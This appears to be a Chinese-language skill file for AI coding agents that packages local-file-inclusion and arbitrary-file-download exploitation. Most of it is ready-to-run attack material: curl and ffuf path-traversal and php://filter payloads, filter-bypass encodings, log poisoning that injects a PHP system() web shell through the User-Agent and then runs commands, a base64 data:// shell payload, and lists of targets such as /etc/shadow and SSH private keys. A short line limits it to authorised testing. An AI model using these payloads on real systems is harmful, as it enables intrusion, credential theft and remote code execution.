skills/exploit-file-download/SKILL.md
任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、双重编码绕过、伪协议利用、敏感文件读取。尤其适用于下载接口、LFI、/etc/passwd、/proc/self/environ、win.ini、php://filter 这类文件读取与遍历场景。
npx skillsauth add 0X6C7879/aegissec exploit-file-downloadInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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本 Skill 仅用于授权安全测试。使用前请确保:
未经授权的渗透测试是非法行为。
本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。
注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。
../、绝对路径或 php://filter 测试被过滤时,再读取 references/bypass_techniques.md 获取编码、双写和其他绕过变体。references/sensitive_files.md。自动识别以下 LFI 特征:
include() 或require() 的文件路径../ 序列用于遍历目录php://filter、php://input 等%00 空字节可能绕过扩展名检查| 类型 | Payload | 适用场景 |
|------|------|--------|
| 文件包含 | ?title=index.php | 简单文件包含测试 |
| 路径遍历 | ?title=../../../../etc/passwd | Linux 目录遍历 |
| 伪协议 | ?title=php://filter/convert.base64-encode/resource=/etc/passwd | 读取敏感文件源码 |
| Windows 路径 | ?title=C:\\Windows\\win.ini | Windows 文件读取 |
| URL 编码 | ?title=%2e%2e%2f%2e%2e%2fetc/passwd | 绕过简单过滤 |
references/sensitive_files.md# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl
# Ubuntu/Debian
apt-get install curl
# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest
# wget - 文件下载工具(通常已预装)
# macOS
brew install wget
# Ubuntu/Debian
apt-get install wget
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt
# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"
# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"
# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"
# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
-w <(seq 1 10 | sed 's/^/\.\.\//') \
-mc 200 \
-mr "root:x:0:0"
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d
# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d
# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"
# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"
# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-t 50 \
-o lfi_results.txt
# 使用 wget 批量下载
while read path; do
wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"
# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"
# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"
# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"
| 场景 | 推荐工具 | 命令示例 |
|------|----------|----------|
| 快速单点测试 | curl | curl "URL?file=../etc/passwd" |
| 批量 Payload 测试 | ffuf | ffuf -u URL -w payloads.txt |
| 文件下载保存 | wget | wget -O output.txt "URL" |
| 目录深度枚举 | 自定义脚本 | 见下方深度测试脚本 |
| 响应内容分析 | grep/diff | grep -i "root:x:0" response.txt |
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度
URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}
for i in $(seq 1 $MAX_DEPTH); do
payload=$(printf '../%.0s' $(seq 1 $i))
response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")
if echo "$response" | grep -q "root:x:0:0"; then
echo "[+] 成功!深度:$i"
echo "$response"
break
fi
echo "[-] 深度 $i: 未匹配"
done
# 系统用户信息
/etc/passwd
/etc/shadow # 需要 root 权限
/etc/group
/etc/sudoers
# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ
# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa
# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts
# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php
# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log
../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php
如果主要工具不可用,可以使用以下替代方案:
| 主要工具 | 替代方案 | 说明 |
|----------|----------|------|
| curl | wget | wget -qO- "URL" 等同于curl -s "URL" |
| ffuf | gobuster | gobuster dir -u URL -w payloads.txt |
| ffuf | dirsearch | dirsearch -u URL -e php |
| curl + grep | httpx + nuclei | 使用 nuclei LFI 模板 |
references/lfi_techniques.md - LFI 完整技术详解references/php_wrappers.md - PHP wrapper 参考references/bypass_techniques.md - 编码和过滤绕过references/rce_methods.md - 远程代码执行汇总发现 LFI 漏洞后,可以存储到数据库:
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
--host-ip 192.168.1.100 \
--url "https://example.com/download?file=../../etc/passwd" \
--payload "../../etc/passwd" \
--file-read "root:x:0:0:root:/root:/bin/bash" \
--severity Critical \
--subsystem "Web Application"
数据库位置: ./data/results.db
相关技能: results-storage - 查询数据、生成报告
最后更新: 2026-03-05 版本: 2.0
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